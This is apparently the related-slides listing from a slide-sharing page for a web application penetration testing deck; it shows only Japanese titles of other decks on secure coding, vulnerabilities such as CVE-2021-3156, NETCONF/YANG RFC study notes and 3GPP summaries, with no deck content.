Dalvikバイトコードリファレンスの読み方 改訂版
Takuya Matsunaga
 

Ähnlich wie Web applicationpenetrationtest その5 (20)

クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策
 
第4回勉強会 単体テストのすすめ
第4回勉強会 単体テストのすすめ第4回勉強会 単体テストのすすめ
第4回勉強会 単体テストのすすめ
 
はこだてIKA 第4回勉強会 単体テスト
はこだてIKA 第4回勉強会 単体テストはこだてIKA 第4回勉強会 単体テスト
はこだてIKA 第4回勉強会 単体テスト
 
第一回 社内勉強会 PHP Application Security Checklist に学ぶ PHP セキュリティ (Excerpt)
第一回 社内勉強会 PHP Application Security Checklist に学ぶ PHP セキュリティ (Excerpt)第一回 社内勉強会 PHP Application Security Checklist に学ぶ PHP セキュリティ (Excerpt)
第一回 社内勉強会 PHP Application Security Checklist に学ぶ PHP セキュリティ (Excerpt)
 
『PHP逆引きレシピ』とセキュリティのこと
『PHP逆引きレシピ』とセキュリティのこと『PHP逆引きレシピ』とセキュリティのこと
『PHP逆引きレシピ』とセキュリティのこと
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
 
安全なプログラムの作り方
安全なプログラムの作り方安全なプログラムの作り方
安全なプログラムの作り方
 
ちゃんとした C# プログラムを書けるようになる実践的な方法~ Visual Studio を使った 高品質・低コスト・保守性の高い開発
ちゃんとした C# プログラムを書けるようになる実践的な方法~ Visual Studio を使った 高品質・低コスト・保守性の高い開発ちゃんとした C# プログラムを書けるようになる実践的な方法~ Visual Studio を使った 高品質・低コスト・保守性の高い開発
ちゃんとした C# プログラムを書けるようになる実践的な方法~ Visual Studio を使った 高品質・低コスト・保守性の高い開発
 
Application Architecture for Enterprise Win Store Apps with DDD Pattern
Application Architecture for Enterprise Win Store Apps with DDD PatternApplication Architecture for Enterprise Win Store Apps with DDD Pattern
Application Architecture for Enterprise Win Store Apps with DDD Pattern
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
 
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
 
Java仮想マシンの実装技術
Java仮想マシンの実装技術Java仮想マシンの実装技術
Java仮想マシンの実装技術
 
Sourcecode Reading Workshop2010
Sourcecode Reading Workshop2010Sourcecode Reading Workshop2010
Sourcecode Reading Workshop2010
 
次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)
 
CMSI計算科学技術特論C (2015) OpenMX とDFT②
CMSI計算科学技術特論C (2015) OpenMX とDFT②CMSI計算科学技術特論C (2015) OpenMX とDFT②
CMSI計算科学技術特論C (2015) OpenMX とDFT②
 
Phpcon tokyo 20120_bigginer
Phpcon tokyo 20120_bigginerPhpcon tokyo 20120_bigginer
Phpcon tokyo 20120_bigginer
 
pi-1. プログラミング入門
pi-1. プログラミング入門pi-1. プログラミング入門
pi-1. プログラミング入門
 
ソフトウェア設計原則【SOLID】を学ぶ #3 依存性逆転の原則.pdf
ソフトウェア設計原則【SOLID】を学ぶ #3 依存性逆転の原則.pdfソフトウェア設計原則【SOLID】を学ぶ #3 依存性逆転の原則.pdf
ソフトウェア設計原則【SOLID】を学ぶ #3 依存性逆転の原則.pdf
 
Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性
 
Dalvikバイトコードリファレンスの読み方 改訂版
Dalvikバイトコードリファレンスの読み方 改訂版Dalvikバイトコードリファレンスの読み方 改訂版
Dalvikバイトコードリファレンスの読み方 改訂版
 

Mehr von Tetsuya Hasegawa

Mehr von Tetsuya Hasegawa (20)

CVE-2021-3156 Baron samedit (sudoの脆弱性)
CVE-2021-3156 Baron samedit (sudoの脆弱性)CVE-2021-3156 Baron samedit (sudoの脆弱性)
CVE-2021-3156 Baron samedit (sudoの脆弱性)
 
RFC8528(YANG Schema Mount)の勉強資料
RFC8528(YANG Schema Mount)の勉強資料RFC8528(YANG Schema Mount)の勉強資料
RFC8528(YANG Schema Mount)の勉強資料
 
RFC7951(JSON Encoding of Data Modeled with YANG)の勉強資料
RFC7951(JSON Encoding of Data Modeled with YANG)の勉強資料RFC7951(JSON Encoding of Data Modeled with YANG)の勉強資料
RFC7951(JSON Encoding of Data Modeled with YANG)の勉強資料
 
RFC7589(NETCONF Protocol over TLS)の勉強資料
RFC7589(NETCONF Protocol over TLS)の勉強資料RFC7589(NETCONF Protocol over TLS)の勉強資料
RFC7589(NETCONF Protocol over TLS)の勉強資料
 
RFC8632(A YANG Data Model for Alarm Management)の勉強資料
RFC8632(A YANG Data Model for Alarm Management)の勉強資料RFC8632(A YANG Data Model for Alarm Management)の勉強資料
RFC8632(A YANG Data Model for Alarm Management)の勉強資料
 
RFC5717(Partial Lock Remote Procedure Call (RPC) for NETCONF)の勉強資料
RFC5717(Partial Lock Remote Procedure Call (RPC) for NETCONF)の勉強資料RFC5717(Partial Lock Remote Procedure Call (RPC) for NETCONF)の勉強資料
RFC5717(Partial Lock Remote Procedure Call (RPC) for NETCONF)の勉強資料
 
RFC8341(Network Configuration Access Control Model)の勉強資料。
RFC8341(Network Configuration Access Control Model)の勉強資料。RFC8341(Network Configuration Access Control Model)の勉強資料。
RFC8341(Network Configuration Access Control Model)の勉強資料。
 
RFC8525(YANG Library)の勉強資料。
RFC8525(YANG Library)の勉強資料。RFC8525(YANG Library)の勉強資料。
RFC8525(YANG Library)の勉強資料。
 
3GPP F1インターフェース(TS38.470-f50)の概要
3GPP F1インターフェース(TS38.470-f50)の概要3GPP F1インターフェース(TS38.470-f50)の概要
3GPP F1インターフェース(TS38.470-f50)の概要
 
RFC8340(YANG Tree Diagrams)の勉強資料
RFC8340(YANG Tree Diagrams)の勉強資料RFC8340(YANG Tree Diagrams)の勉強資料
RFC8340(YANG Tree Diagrams)の勉強資料
 
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
 
RFC8071(NETCONF Call Home and RESTCONF Call Home)の勉強資料
RFC8071(NETCONF Call Home and RESTCONF Call Home)の勉強資料RFC8071(NETCONF Call Home and RESTCONF Call Home)の勉強資料
RFC8071(NETCONF Call Home and RESTCONF Call Home)の勉強資料
 
RFC6243(With-defaults Capability for NETCONF)の勉強資料
RFC6243(With-defaults Capability for NETCONF)の勉強資料RFC6243(With-defaults Capability for NETCONF)の勉強資料
RFC6243(With-defaults Capability for NETCONF)の勉強資料
 
RFC6241(Network Configuration Protocol (NETCONF))の勉強資料
RFC6241(Network Configuration Protocol (NETCONF))の勉強資料RFC6241(Network Configuration Protocol (NETCONF))の勉強資料
RFC6241(Network Configuration Protocol (NETCONF))の勉強資料
 
RFC5277(NETCONF Event Notifications)の勉強資料
RFC5277(NETCONF Event Notifications)の勉強資料RFC5277(NETCONF Event Notifications)の勉強資料
RFC5277(NETCONF Event Notifications)の勉強資料
 
5Gを含む将来ネットワークにおけるAI活用に関する国際標準化動向
5Gを含む将来ネットワークにおけるAI活用に関する国際標準化動向5Gを含む将来ネットワークにおけるAI活用に関する国際標準化動向
5Gを含む将来ネットワークにおけるAI活用に関する国際標準化動向
 
MCPC第5回イノベーションチャレンジセミナーメモ
MCPC第5回イノベーションチャレンジセミナーメモMCPC第5回イノベーションチャレンジセミナーメモ
MCPC第5回イノベーションチャレンジセミナーメモ
 
RFC5996(IKEv2)第2版
RFC5996(IKEv2)第2版RFC5996(IKEv2)第2版
RFC5996(IKEv2)第2版
 
3GPP TS 38.300-100まとめ
3GPP TS 38.300-100まとめ3GPP TS 38.300-100まとめ
3GPP TS 38.300-100まとめ
 
3GPP TR23.711-e00まとめ
3GPP TR23.711-e00まとめ3GPP TR23.711-e00まとめ
3GPP TR23.711-e00まとめ
 

Web applicationpenetrationtest その5